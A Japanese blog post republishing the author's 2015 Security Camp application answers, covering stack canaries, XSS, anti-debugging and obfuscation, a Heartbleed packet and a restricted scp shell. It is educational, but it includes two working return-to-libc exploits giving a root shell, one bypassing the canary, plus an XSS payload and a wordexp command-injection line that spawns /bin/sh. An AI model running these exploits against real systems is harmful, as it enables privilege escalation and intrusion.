はじめに

本稿は2015年に他のブログで投稿した内容になっており、ブログ移行のために再喝している。
移行するにあたり、記事を再度読んだが7年前の記事で懐かしみを感じた。

本題

去年セキュリティキャンプに応募して落ちてしまいましたが、今年も応募したところ無事行けることになりました。
去年は凄まじい倍率のネットワークセキュリティコースに応募しましたが、今年からコース制が廃止され、応募用紙も全員同じということで去年みたいな倍率の差が発生しない状況でした。そして今年の応募用紙は、選択問題の14問中5問に回答するという形式で、様々な分野の問題に回答しなければならなかった感じがします。
そのなかで私は問8, 9, 10, 11, 12に解答しました。

以下が回答(原文ママ)

■選択問題8 (左側の□について、回答した問題は■にしてください)

gccが持つ-fno-stack-protectorは、どのようなセキュリティ機能を無効にするオプションであるのか、またこの機能により、どういった脆弱性からソフトウェアを守れるのかをそれぞれ記述してください。

【以下に回答してください(行は適宜追加してください)】
-fno-stack-protectorは、ssp(stack smashing protection)を無効にするオプションである。
sspとは、関数の最初で「カナリア値」と呼ばれるランダムな値を退避されたフレームポインタの直前に挿入し、関数終了時に値をチェックすることで、スタックベースのバッファオーバーフローを検知するセキュリティ機能である。これにより、カナリア値を不正な値で上書きするようなスタックベースのパッファオーバーフローの脆弱性からソフトウェアを守れる。
実際にSSPがあるのとないのではどう違うのか、オーバーフローの脆弱性があるプログラムを攻撃して実験する。

環境
Ubuntu 14.04 LTS

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 14.04.2 LTS
Release:    14.04
Codename:   trusty

$ uname -a
Linux ubuntu 3.13.0-54-generic #91-Ubuntu SMP Tue May 26 19:15:08 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

$ gcc --version
gcc (Ubuntu 4.8.2-19ubuntu1) 4.8.2

今回ターゲットとするプログラムは以下のものである。

 1 /* overflow.c */  
 2 #include <stdio.h>  
 3 #include <stdlib.h>  
 4 #include <string.h>  
 5   
 6 int main(int argc, char** argv) {  
 7   int i;  
 8   unsigned char buf[50];  
 9   printf("before: ");  
10   for(i=0; i<8; i++) {  
11     printf("\\x%02x", *(buf + 56 + i));  
12   }  
13   printf("\n");  
14   
15   scanf("%s", buf);  
16   printf("strings: %s\n", buf);  
17   
18   printf("after: ");  
19   for(i=0; i<8; i++) {  
20     printf("\\x%02x", *(buf + 56 + i));  
21   }  
22   printf("\n");  
23   
24   return 0;  
25 }  

このプログラムは、入力された文字列とカナリア値を出力するシンプルなものであるが、境界線チェックを行って無いのでオーバーフローの脆弱性がある。
これを-fno-stack-protectorオプション有無で比較する。

$ sudo gcc overflow.c -o overflow                     

$ python -c 'print "A"*57' | ./overflow  
before: \x00\xaa\x46\xb4\xc1\x13\xf6\x27  
strings: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
after: \x41\x00\x46\xb4\xc1\x13\xf6\x27  
*** stack smashing detected ***: ./overflow terminated  
zsh: done                 python -c 'print "A"*57' |   
zsh: abort (core dumped)  ./overflow

$ sudo gcc -fno-stack-protector overflow.c -o overflow

$ python -c 'print "A"*57' | ./overflow  
before: \x00\x00\x00\x00\x04\x00\x00\x00  
strings: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
after: \x41\x00\x00\x00\x04\x00\x00\x00

上記では、\x41(A)がカナリア値の最初の1バイトを上書きしているのが分かる。
なのでオプション無しの場合には、SSPによって強制終了させられている。しかし、オプション有りの場合だとSSPが無効にされているので、プログラムは続行している。

具体的にどのような動作をしているのか調べるために、SSPを有効にした”overflow“を逆アセンブルする。

000000000040065d <main>:   
  40065d:   55                      push   rbp  
  40065e:   48 89 e5                mov    rbp,rsp  
  400661:   48 83 ec 60             sub    rsp,0x60  
  400665:   89 7d ac                mov    DWORD PTR [rbp-0x54],edi  
  400668:   48 89 75 a0             mov    QWORD PTR [rbp-0x60],rsi  
  40066c:   64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28  
  400673:   00 00   
  400675:   48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax  
  . . .  
  400752:   48 8b 4d f8             mov    rcx,QWORD PTR [rbp-0x8]  
  400756:   64 48 33 0c 25 28 00    xor    rcx,QWORD PTR fs:0x28  
  40075d:   00 00   
  40075f:   74 05                   je     400766 <main+0x109>  
  400761:   e8 ba fd ff ff          call   400520 <__stack_chk_fail@plt>  
  400766:   c9                      leave    
  400767:   c3                      ret      
  400768:   0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0]
  40076f:   00   

0x40066cと0x400673で、ランダムな値(fs:0x28)を退避されたフレームポインタの直前([rbp-0x8])にコピーする。さらに関数を出る前の0x400752と0x400756でrbp-0x8に入っていた値をrcxにコピーし、それとfs:0x28のxorをとることで同じかどうか調べている。そしてもし値が値がければ、__stack_chk_fail@pltが呼び出されプログラムが強制終了する。

実際にSSPが有効なのとそうでないのでは、攻撃するときにどのような影響があるのか。
まず、SSPを無効にして攻撃をしてみる。尚、今回関係のないASLRは無効にする。

$ sudo sysctl -w kernel.randomize_va_spcae=0  
kernel.randomize_va_spcae = 0

以下はSSPを考慮していないエクスプロイトコードである。

 1 /* exploit.c */   
 2 #include <stdio.h>  
 3 #include <stdlib.h> 
 4 #include <string.h>  
 5 #include <unistd.h>  
 6 #include <signal.h>  
 7   
 8 void error(char *str) {  
 9   perror(str);  
10   exit(0);  
11 }  
12   
13 int main(int argc, char **argv) {  
14   pid_t pid;  
15   unsigned char *buf, s[100];  
16   int bufsize = 50;  
17   int size, pfd[2], i;  
18   unsigned long int libc_base, libc_system, libc_exit, libc_binsh, libc_pop_rdi;  
19   
20   libc_base = 0x7ffff7a15000;  
21   libc_system = libc_base + 0x046640;  
22   libc_exit = libc_base + 0x03c290;  
23   libc_binsh = libc_base + 0x17ccdb;  
24   libc_pop_rdi = libc_base + 0x022b1a;  
25     
26   buf = (char*)malloc(200);  
27   size = bufsize + (8-(bufsize%8)) + 16;  
28   memset(buf, 0x41, size);  
29   
30   *((unsigned long int*)(buf+size)) = libc_pop_rdi;  
31   *((unsigned long int*)(buf+size+8)) = libc_binsh;  
32   *((unsigned long int*)(buf+size+16)) = libc_system;  
33   *((unsigned long int*)(buf+size+24)) = libc_pop_rdi;  
34   *((unsigned long int*)(buf+size+32)) = 0x00;  
35   *((unsigned long int*)(buf+size+40)) = libc_exit;  
36   
37   if(pipe(pfd) == -1) error("pipe()");  
38   if((pid = fork()) == -1) error("fork()");  
39   
40   if(pid == 0) {  
41     dup2(pfd[0], 0);  
42     execl("./overflow", "./overflow", NULL);  
43   } else {  
44     write(pfd[1], buf, size+24);  
45     write(pfd[1], "\n", 1);  
46   
47     while(1) {  
48       memset(s, 0x00, sizeof(s));  
49       read(0, s, sizeof(s));  
50       write(pfd[1], s, strlen(s));  
51     }  
52   
53     wait(NULL);  
54   }  
55   
56   free(buf);  
57   return 0;  
58 }  

攻撃対象プログラムをルート権限で実行できるようにし、exploit.cをコンパイル、実行する。

$ sudo chmod u+s ./overflow                

$ gcc exploit.c -o exploit                                         

$ ./exploit  
before: \x00\x00\x00\x00\x04\x00\x00\x00  
strings: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA{  
after: \x41\x41\x41\x41\x04\x00\x00\x00  
whoami  
root

見事にシェルが立ち上がった。これをSSPが有効なプログラムに実行すると、

$ sudo gcc overflow.c -o overflow 

$ sudo chmod u+s ./overflow

$ ./exploit                                           
before: \x00\x32\x05\xd6\x31\xbf\x3d\x64  
strings: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA{  
after: \x41\x41\x41\x41\x41\x41\x41\x41  
*** stack smashing detected ***: ./overflow terminated

カナリア値が変わってしまい、強制終了してしまう。
なので、SSPが有効な状態でシェルをとるにはカナリア値を読み込み、セットする必要が有る。
今回のプログラムは丁寧なことにカナリア値を出力してくれているので、この値をセットするエクスプロイトコードを書けばいい。

以下がそのエクスプロイトコードである。

 1 /* exploit_ssp.c */  
 2 #include <stdio.h>  
 3 #include <stdlib.h>  
 4 #include <string.h>  
 5 #include <unistd.h>  
 6 #include <signal.h>  
 7   
 8 void error(char *str) {  
 9   perror(str);  
10   exit(0);  
11 }  
12   
13 int main(int argc, char **argv) {  
14   pid_t pid;  
15   unsigned char *buf, s[100], hex[3];  
16   int bufsize = 50;  
17   int size, pfd[2], i;  
18   unsigned long int libc_base, libc_system, libc_exit, libc_binsh, libc_pop_rdi;  
19   
20   libc_base = 0x7ffff7a15000;  
21   libc_system = libc_base + 0x046640;  
22   libc_exit = libc_base + 0x03c290;  
23   libc_binsh = libc_base + 0x17ccdb;  
24   libc_pop_rdi = libc_base + 0x022b1a;  
25   
26   buf = (char*)malloc(200);  
27   size = bufsize + (8-(bufsize%8)) + 16;  
28   memset(buf, 0x41, size);  
29   
30   *((unsigned long int*)(buf+size)) = libc_pop_rdi;  
31   *((unsigned long int*)(buf+size+8)) = libc_binsh;  
32   *((unsigned long int*)(buf+size+16)) = libc_system;  
33   *((unsigned long int*)(buf+size+24)) = libc_pop_rdi;  
34   *((unsigned long int*)(buf+size+32)) = 0x00;  
35   *((unsigned long int*)(buf+size+40)) = libc_exit;  
36   
37   if(pipe(pfd) == -1) error("pipe()");  
38   if((pid = fork()) == -1) error("fork()");  
39   
40   if(pid == 0) {  
41     dup2(pfd[0], 0);  
42     execl("./overflow", "./overflow", NULL);  
43   } else {  
44   
45     read(0, s, sizeof(s));  
46     for(i=2; i<strlen(s); i+=4) {  
47       sprintf(hex, "%c%c", s[i], s[i+1]);  
48       buf[bufsize + (8-(bufsize%8)) + i/4] = (char)strtol(hex, NULL, 16);  
49     }  
50   
51     write(pfd[1], buf, size+24);  
52     write(pfd[1], "\n", 1);  
53   
54     while(1) {  
55       memset(s, 0x00, sizeof(s));  
56       read(0, s, sizeof(s));  
57       write(pfd[1], s, strlen(s));  
58     }  
59   
60     wait(NULL);  
61   }  
62   
63   free(buf);  
64   return 0;  
65 }  
$ gcc exploit_ssp.c -o exploit_ssp

$ ./exploit_ssp                    
before: \x00\x34\xd4\xf6\x44\x7d\x27\x12  
\x00\x34\xd4\xf6\x44\x7d\x27\x12  
strings: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
after: \x00\x34\xd4\xf6\x44\x7d\x27\x12  
whoami  
root  

正しいカナリア値を与えることにより、SSPを回避してシェルを起動することができた。

【回答ここまで】

■選択問題9 (左側の□について、回答した問題は■にしてください)

以下のコードは、与えられたテキスト内からURLらしき文字列を探して、それらを<a>要素でリンクにしたHTMLを生成するJavaScriptの関数であるとします。攻撃者が引数 text の中身を自由に制御可能な場合、このコードにはどのような問題点があるか、またこのコードを修正するとすればどのようにすればよいか、自分なりに考察して書いてください。

function makeUrlLinks( text ){  
 var html = text.replace( /[\w]+:\/\/[\w\.\-]+\/[^\r\n \t<>"']*/g,   function( url ){  
   return "<a href=" + url + ">" + url + "</a>";  
   } );  
 document.getElementById( "output" ).innerHTML = html;  
}  

【以下に回答してください(行は適宜追加してください)】

エスケープされてない文字列をinnerHTMLによってHTMLに埋め込んでいるので、攻撃者は任意の文字列をHTMLに埋め込むことができ、元のDOM構造とは異なるHTML文字列が返される。これは Mutation based XSS と呼ばれており、攻撃者は任意のJavaScriptを実行することができる。
例えば、 <img src=1 onerror=allert(“XSS”)> と入力するとアラートが出力される。
これを回避するには、受け取った文字列を検査し、特殊な意味を持つ文字をエスケープする必要がある。エスケープするには、makeUrlLinks関数の先頭に以下のコードを追加すればよい。

text = text.replace(/&/g, “&”).replace(/</g, “<”).replace(/>/g, “>”).replace(/“/g, “"”).replace(/‘/g, “&#x27;”);

DOMのAPIを用いて回避する方法も考えたが少し複雑になりそうなので、上記の方法がシンプルでよいと考えられる。

【回答ここまで】

■選択問題10 (左側の□について、回答した問題は■にしてください)

アンチデバッグ、難読化といった単語をキーワードとする技術について、あなたが知っていること、調べたことを具体的に記述してください。基本的にPCのソフトウェアにおける技術を想定していますが、他端末、またはハードウェアに関する内容でもかまいません。

【以下に回答してください(行は適宜追加してください)】

 アンチデバッグとは、プログラムを解析から守る技術であり、有料ソフトが解析されてクラック版が出回るのを防いだり、ウイルスが自らの挙動を隠す為に使われる。
アンチデバッグには様々な手法があり、少々長くなるが、それらについて簡単に記述する(詳しくは後日ブログに載せるつもりである)。基本的なアンチデバッグ手法としては、マイクロソフトがAPIとして提供しているIsDebuggerPresent関数がある。この関数は呼び出し側プロセスがデバッガのコンテキストで実行されているかどうかを調べ、デバッグされていない場合は0を、されている場合は0以外を返す。もっと具体的に言うと、Boolean値であるPEBのBeingDebuggedの値をeaxに入れて返している。よって以下の二つのコードは同じ結果を返す。

if (IsDebuggerPresent()) {  
    printf("Debugger detected\n");  
    exit(1);  
}  
int IsDebug = 0;  

__asm  
{  
    mov eax, fs:[30h]  
    movzx eax, byte ptr[eax+2]  
    mov[IsDebug], eax  
}  

if (IsDebug != 0) {  
    printf("Debugger detected\n");  
}  

 この他にも、kernel32.dllにエクスポートされているCheckRemoteDebugger関数があり、この関数は内部的にntdll.dllのNtQueryInformationProcess関数を使用する。
これは、デバッグポートをチェックする方法と呼ばれ、デバッグ中にデバッグポートが有効になることを利用してデバッグを検知する。デバッグポートはカーネルで管理するEPROCESS構造体のDebugPortフラグで有効にされ、NtQueryInformationProcess関数の第二引数であるプロセスインフォメーションクラスにプロセスデバッグポートの値である7を指定すればデバッグポートがチェックされる。

NtQueryInformationProcessによるアンチデバッグ
 NtQueryInformationProcess関数は他にもアンチデバッグ機能を持っており、デバッグ時に使用されるDebug Object Handleというハンドルを取得することでデバッグを検知できる。これは、NtQueryInformationProcessの第二引数に0x1Eを渡すことで、第三引数にハンドルのポインターを渡してくれる。さらにNtQueryInformationProcessの第二引数に0x1Fを渡すことにより、第三引数にNoDebugInherit値が渡され、それを調べることでもデバッグを検知することができる。

int 3を利用したアンチデバッグ
 デバッガはint 3(ブレークポイント)やint 1(シングルステップ)命令を通過するとき、基本的には例外処理をしない。これを利用してデバッガを検出できる。具体的には、以下のようなコードになる。

int IsDebug = 1;

__try {  
    __asm {  
        __emit 0xcc //int 3  
    }  
}  

__except(EXCEPTION_EXECUTE_HANDLER) {  
    IsDebug = 0;  
}  

if(IsDebug) {  
    printf(“Debugger detected\n”);  
    exit(1);  
}  

通常実行すればもちろん例外を捉えてIsDebugは0になるが、デバッグすると、デバッガは例外を無視し、exceptに入らないのでIsDebugは1のままになる。

0xCCの検知によるアンチデバッグ
 ユーザーレベルのデバッガではブレークポイントを使用する。ブレークポイントのオペコードは0xCCであり、デバッグ中は現在のEIPに0xCCが入る。なので、0xCCをチェックすることでデバッグされてるかどうかが分かる。

PEBを利用したアンチデバッグ
 先ほどのIsDebuggerPresent関数はPEBのBeingDebuggedの値をチェックしていたが、PEBには他にもデバッグ関連情報が格納されている。例えば、PEBの0x68番目のメンバー変数であるNtGlobalFlagを利用してデバッガを検出することができる。さらに、0x18番目のProcessHeapでも検出することができる。

NtSetInformationThread関数によるアンチデバッグ
 そもそもデバッガに制御を譲らせない方法もある。それがNtSetInformationThread関数を使う方法である。NtSetInformationThread関数の第二引数に0x11(ThreadHideFromDebugger)を渡して実行すると、NtSetInformationThread関数により、以降のスレッドはデバッガにイベントを送信しない。そのためにデバッガはデバッグを続けられなくなり終了してしまうのである。

SeDebugPrivilege権限チェックによるデバッガ検知
 プロセスのデバッグ中はSeDebugPrivilege権限を使用することになるので、これをチェックする。具体的には、csrss.exeのプロセスをOpenProcess関数で開いて、ハンドルが取得できたら、デバッガによって実行されたと判断する。

BlockInput関数によるキーボード入力のブロック
 BlockInput()というWin32 APIはキーボードやマウス入力をブロックすることができる。これによってデバッグを阻止する方法もある。

OutputDebugString関数によるアンチデバッグ
 OutputDebugStringはデバッグ用のAPIである。これは、通常のときは1を返し、デバッグ時は引数の文字列が格納されたアドレスを返す。これを使って戻り値が1でなければデバッガによって実行されてるとする。

時間差を利用したアンチデバッグ
 プログラムの最初とそのあとに時間を取得し、最初に計測したものと差分でデバッグを検知する方法である。私は実際に、ASIS CTF 2015の問題でこのアンチデバッグ手法が取られた問題を解析した覚えがある。そのときは、時間を取得する関数の戻り値を変えることで回避した。

APIフックを利用したアンチデバッグ
 デバッガは内部的に様々なAPIを使用する。例えば、プロセスにアタッチするときに、DebugActiveProcess()というAPIを使用する。このAPIを無力化すると、デバッガはプロセスにアタッチできなくなる。その他にも、OpenProcess()やReadProcessMemory()、WriteProcessMemory()を無力化して、デバッガーでプロセスの情報を得られないようにすることができる。

Self Debugging
 デバッグ中のプロセスにまた別のデバッガーをアタッチしようとするとエラーになりアタッチできない。これを利用したのがSelf Debuggingである。具体的には、CreateProcess()の第二引数にGetCommandLine()を指定し、実行フラグにDEBUG_PROCESSを指定することによって自分自身がデバッガになり、子プロセスがデバッグ対象の状態になる。これによって他のデバッガのアタッチから子プロセスを守ることができる。

デバッグレジスタを利用したアンチデバッグ
 これは、デバッガがハードウェアブレークポイントを使用するときに使用するデバッグレジスタが使われているかどうかでデバッガを検出する方法である。具体的には、ユーザーモードではDR情報がスレッドコンテキストに渡されるので、GetThreadContext関数でDRレジスタ情報を取得した後、それが現在のバイナリのコードセクションまたはデータセクションの中にあるかをPEを使って範囲チェックをすることで検出できる。

他にもアンチデバッグ手法はあるが、ここでは割愛する。

アンチデバッグの回避方法
基本的にAPIを利用したアンチデバッグには、APIフックを利用すればよい。
APIフックを利用したアンチデバッグは、フックされたAPIを元に戻せばよい。
Self Debuggingではデバッガである親プロセスは、WaitForDebugEvent関数で待機しながら、子プロセスのデバッグイベントを待つ。ここにAPIフックをかけ、DebugActiveProcessStop関数を呼び出せば回避できる。
int 3を利用したアンチデバッグはOllyDBGのオプションで回避できる。
PEBを利用したアンチデバッグは、PEBのフラグを変えてやればよい。
0xCCを検知には、そのコード部分をnopにしたり、飛ばしたりして回避する。また、ハードウェアブレークポイントを使用して、0xCCを発生させない方法がある。

難読化について
 難読化はその文字通り、コードを読むのを困難にするものである。ここでいうコードとは、プログラムを逆アセンブルした結果のアセンブリコードのことである。逆アセンブルの方法には、大きく分けて二つある。線形スイープ(Linear sweep)と再帰走査(Recursive traversal)である。
線形スイープは単純であり、ただ最初から順に逆アセンブルしていく方法である。したがって、途中で不自然なコードが紛れていてもそのままの意味で解釈してしまうことがある。
一方、再帰走査は、ある程度実際の処理に沿って逆アセンブルしてくれるので、不自然なコードが紛れていたらそれをスキップして正常なコードだけを解析してくれる。
以下のようなHelloと出力する簡単なアセンブリコードがある。

 1 ;test.s  
 2 section .text  
 3 global _start  
 4   
 5 _start:  
 6 jmp NewYork  
 7 NewYork:  
 8 mov eax, 1  
 9 xor rdi, rdi  
10 mov rsi, 0x0a6f6c6c6548  
11 push rdi  
12 push rsi  
13 mov rsi, rsp  
14 mov rdx, 6  
15 syscall  
16   
17 mov eax, 60  
18 syscall  

実行してみる。

$ nasm -f elf64 test.s

$ ld test.o

$ ./a.out              
Hello

これをobjdumpで逆アセンブルする。

$ objdump -d ./a.out

./a.out:     file format elf64-x86-64

Disassembly of section .text:

0000000000400080 <_start>:  
  400080:   eb 00                   jmp    400082 <NewYork>

0000000000400082 <NewYork>:  
  400082:   b8 01 00 00 00          mov    eax,0x1  
  400087:   48 31 ff                xor    rdi,rdi  
  40008a:   48 be 48 65 6c 6c 6f    movabs rsi,0xa6f6c6c6548  
  400091:   0a 00 00   
  400094:   57                      push   rdi  
  400095:   56                      push   rsi  
  400096:   48 89 e6                mov    rsi,rsp  
  400099:   ba 06 00 00 00          mov    edx,0x6  
  40009e:   0f 05                   syscall   
  4000a0:   b8 3c 00 00 00          mov    eax,0x3c  
  4000a5:   0f 05                   syscall   

難読化していないので、きちんと逆アセンブルができている。
ところでこのobjdumpは、線形スイープ法を使用している。この線形スイープ法を騙すには、0xe9(jmp long x)のようなオペコードをjmp NewYorkの直後に入れればよい。

_start:  
jmp NewYork  
NewYork:  
0xe9  
mov eax, 1  
. . .   

これをobjdumpで逆アセンブルする。

$ objdump -d ./a.out

./a.out:     file format elf64-x86-64

Disassembly of section .text:

0000000000400080 <_start>:  
  400080:   eb 01                   jmp    400083 <NewYork+0x1>

0000000000400082 <NewYork>:  
  400082:   e9 b8 01 00 00          jmp    40023f <NewYork+0x1bd>  
  400087:   00 48 31                add    BYTE PTR [rax+0x31],cl  
  40008a:   ff 48 be                dec    DWORD PTR [rax-0x42]  
  40008d:   48                      rex.W  
  40008e:   65                      gs  
  40008f:   6c                      ins    BYTE PTR es:[rdi],dx  
  400090:   6f                      outs   dx,DWORD PTR ds:[rsi]  
  400091:   0a 00                   or     al,BYTE PTR [rax]  
  400093:   00 57 56                add    BYTE PTR [rdi+0x56],dl  
  400096:   48 89 e6                mov    rsi,rsp  
  400099:   ba 06 00 00 00          mov    edx,0x6  
  40009e:   0f 05                   syscall   
  4000a0:   b8 3c 00 00 00          mov    eax,0x3c  
  4000a5:   0f 05                   syscall   

すると、jmp 40023fというおかしな値になっていることに気づく。これは、e9命令が割り込んだことによって、逆アセンブラがそこをjmp命令だと解釈したからである。もちろんこのコード自体にはなんの影響もないので、きちんと動作する。
このようにオペランドを必要とするコードを入れると、線形スイープ方式を使用している逆アセンブラを騙すことができる。しかし、この手法では、再帰走査方式を使用している逆アセンブラは騙せない。
再帰走査は、分岐があった場合にどちらに行くかまでは判断しない、よって行き先を決めた分岐を作り、必ずjmpする方に正しいコードを、絶対にjmpしない方におかしなコードを混ぜれば再帰走査も騙すことができる。具体的には以下のようなコードを書けばよい。

_start:  
mov eax, 1  
cmp eax, 0  
je Dummy  
jne NewYork  
Dummy:  
0xE9  
NewYork:  
mov eax, 1  
. . .  

しかし、これでも騙せない場合は、次のコードのようにジャンプ前に違うレジスタへの出し入れを繰り返せば賢い逆アセンブラでも騙すことができる。

_start:  
mov eax, 1  
cmp eax, 0  
je Dummy  
mov eax, NewYork  
push ebx  
mov ebx, eax  
jmp ebx  
jne NewYork  
Dummy:  
0xE9  
NewYork:  
pop ebx  
mov eax, 1  
. . .  

難読化には、この他にも意味のない命令群をコードに入れて読みにくくする手法もある。

パッカー
パッカーとは、実行ファイルを実行できる形式のまま圧縮するもので、
実際に以下のコードがUPXというパッカーでパックしたものをIDAで開いたものの一部である。

UPX1:0040E000                 assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing
UPX1:0040E000                 dd 0CEEE5A16h, 105336Eh, 4CDB00h, 10B3000h, 52600h
UPX1:0040E014                 db 9Bh
UPX1:0040E015 byte_40E015     db 77h, 0FFh, 0DBh      ; DATA XREF: start+1o
UPX1:0040E018                 dd 0EC8353FFh, 24448B18h, 1008B20h, 913Dh, 3D4D77C0h, 5B73068Dh
UPX1:0040E018                 dd 0CB6EFE3Dh, 850F059Bh, 20C7008Eh, 4070004h, 0DD740B24h
UPX1:0040E018                 dd 19E86B7Fh, 0F8830C6Fh, 0C1840F01h, 0A624850Dh, 0DBFFDB99h
UPX1:0040E018                 dd 3122B68Dh, 18C483C0h, 0E04C25Bh, 0F9BD26B4h, 9453B37Bh
UPX1:0040E018                 dd 963D1974h, 933D4C06h, 1BBDB75h, 0DF2D80C8h, 8D06EB2Fh
UPX1:0040E018                 dd 5CDB2674h, 8EC1F708h, 0AD74A14Ch, 0B8D0FF18h, 64000FFh
UPX1:0040E018                 dd 9FEB7BECh, 96441D3Dh, 0CF650437h, 90645AEDh, 18297584h
UPX1:0040E018                 dd 0DEC85F37h, 4ECEE9DDh, 14C29066h, 532401DDh, 1BC82476h
UPX1:0040E018                 dd 0BE487604h, 0BDBF9077h, 5CDB8501h, 2DCB6DDDh, 89FEF185h
UPX1:0040E018                 dd 5150C20h, 21738B0Ch, 3708CC42h, 27BC1F28h, 0F0DF7F22h

このようにパックするとコードが全く読めなくなるのである。もちろんパックしたものをアンパックする技術もある。まだまだ書き足りないが、まもなく提出時間で時間がないので以上で終わりにする。また、今回記した技術を詳しくブログに書くつもりである。

【回答ここまで】

■選択問題11 (左側の□について、回答した問題は■にしてください)

下記バイナリを解析し、判明した情報を自由に記述してください


D4 C3 B2 A1 02 00 04 00 00 00 00 00 00 00 00 00 
00 00 04 00 01 00 00 00 88 EB 40 54 A2 BE 09 00 
52 00 00 00 52 00 00 00 22 22 22 22 22 22 11 11 
11 11 11 11 08 00 45 00 00 44 1A BD 40 00 80 06 
3A 24 C0 A8 92 01 C0 A8 92 80 10 26 01 BB 86 14 
7E 80 08 B3 C8 21 50 18 00 FC 0D 0E 00 00 18 03 
03 00 17 01 0E FB 06 F6 CD A3 69 DC CA 0B 99 FF 
1D 26 09 E1 52 8F 71 77 45 FA  

【以下に回答してください(行は適宜追加してください)】
 最初の4バイトの”D4 C3 B2 A1”というのはpcapファイルのマジックナンバーなのでpcapファイルだということが分かる。それから読み進めてIPヘッダのprotocolが0x06なのでTCP、宛先ポートが443でHTTPSなのが分かるが、ここまで特に不審なとこは無い。次のSSLのヘッダを読むと、

Content Type: Heartbeat(24)
Version: TLS 1.2
length: 23
となっており、Heartbeatなのが分かる。

Heartbeat MessageフォーマットはRFC6520より、以下のようになっている。

  struct {
      HeartbeatMessageType type;
      uint16 payload_length;
      opaque payload[HeartbeatMessage.payload_length];
      opaque padding[padding_length];
   } HeartbeatMessage;

type: 1はheartbeat_request、2はheartbeat_response
payload_length: ペイロード長
payload: 任意の内容
padding: 最後のランダムな16バイト

これを問題バイナリに当てはめると、

type: 01 (Request)
payload_length: 0E FB (3835)

ここで明らかにおかしいことに気づく。残りのデータは20バイトしかないのにペイロード長が3835バイトになっている。とりあえず最後まで当てはめてみると、最後の16バイトがpaddingなので、
payload: 06 F6 CD A3
padding: 69 DC CA 0B 99 FF 1D 26 09 E1 52 8F 71 77 45 FA

になり、やはり合わない。
ここで、これはOpenSSLの脆弱性(CVE-2014-0160)の攻撃パケットではないかと考えた。
この脆弱性はHeartbleedと呼ばれ、OpenSSLのバージョン1.0.1から1.0.1fおよび1.0.2-betaに存在している。
具体的には、境界線チェックを行っていないが為に、実際のペイロード長よりも大きな数をpayload_lengthに指定することによって、memcpyで関係ないメモリ領域までコピーされてしまい、攻撃者に送信してしまうというものである。

しかし、攻撃パケットならペイロード長をもっと大きくすれば良いのではないか、実際のpayloadはいらないんじゃないかと疑問に思った。

【回答ここまで】

■選択問題12 (左側の□について、回答した問題は■にしてください)

CentOS 6.5 リリース時点のパッケージを使用して構築された CentOS 6 サーバがあります。ユーザ test のログインシェルには、特定のディレクトリ内のファイルを scp を用いてダウンロードできるようにすることを意図した、以下に示すログインシェルが使われています。
このサーバのホスト名を shell.scamp2015.comとし、/etc/ssh/sshd_config の内容がデフォルト設定のままであると仮定して、このログインシェルの脆弱性と、このログインシェルから起動されるプログラムの脆弱性の両方を突いて、書き込み可能なディレクトリ(好きな場所を仮定してよい)の中に任意のファイルをアップロードする手順を、コマンドラインを交えながら解説してください。

---------- ログインシェルのソースコード ここから ----------

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <wordexp.h>

int main(int argc, char *argv[])
{
    int i;
    int err = EINVAL;
    wordexp_t p;
    char *w;
    static char *args[1024] = { };
    if (argc != 3 || strcmp(argv[1], "-c")) {
        fprintf(stderr, "You are not permitted to login.\n");
        return 1;
    }
    w = argv[2];
    if (strncmp(w, "scp -f ", 7) ||
        strspn(w + 7, "abcdefghijklmnopqrstuvwxyz0123456789./+-_$[{()}]=`?*'") != strlen(w + 7) ||
        wordexp(w, &p, WRDE_NOCMD) || p.we_wordc < 3 || p.we_wordc > 1023)
        goto out;
    for (i = 0; i < p.we_wordc; i++) {
        w = p.we_wordv[i];
        if (strncmp(w, "/home/", 6) && strncmp(w, "/var/ftp/", 9) &&
            strncmp(w, "/var/www/html/public/", 21) && i >= 2)
            goto out;
        args[i] = w;
    }
    execv("/usr/bin/scp", args);
    err = errno;
out:
    fprintf(stderr, "%s : %s\n", argv[2], strerror(err));
    return 1;
}

---------- ログインシェルのソースコード ここまで ----------

【以下に回答してください(行は適宜追加してください)】

はじめに言うと、この問題は解き終えてない。しかし、この問題をどうしてもやりたかったので、解けてはいないが、分かった部分と分からなかった部分を自分なりに書くことにする。
このコードをざっと説明すると、wordexpでシェルのように展開した文字列が、が/home/か/var/ftp/が/var/www/html/publicで始まっていれば、それをscp -fに渡し、ダウンロードするというものである。尚、文字はstrspn()で指定されたものしか使えない。
まず、はじめに気づいたのが、/home/ で始まっていればよいのなら /home/../etc/passwd でpasswdファイルが取れることである。しかし、これはファイルをアップロードするのに関係ないと考えられる。
次にwordexp()について調べたらCentOS 6.5のリリース時点では、wordexp関数に脆弱性があることが分かった(CVE-2014-7817)。これは、wordexp()にWRDE_NOCMDフラッグが適応されていても、$((``))という文字列を渡せばこれを無効にできるということである。これを使えばサーバー側で任意のコマンドを実行できる。以下は、ホスト名がshell.scamp2015.com、ユーザー名がtestの場合で、ホスト側で/bin/shを起動するコマンドである。

scp test@shell.scamp2015.com:”””$(python -c ‘print “$((/bin/sh))”’)””” ./

しかしこれでは、シェルを起動はできるが入力を行えない。さらに、strspn関数でスペースやバックスラッシュなど使えそうな文字がエスケープされているので、実行したコマンドに引数を渡すことができない。
ここで、どうにかスペースを使わないで引数ありのコマンドを実行できないかと考えた。
そこでbashの配列機能を使うことを思いついた。これは、以下のようにすることにより、引数ありのコマンドを実行できるというものである。

$ test[0]=echo
$ test[1]=hello
$ ${test[*]}
hello

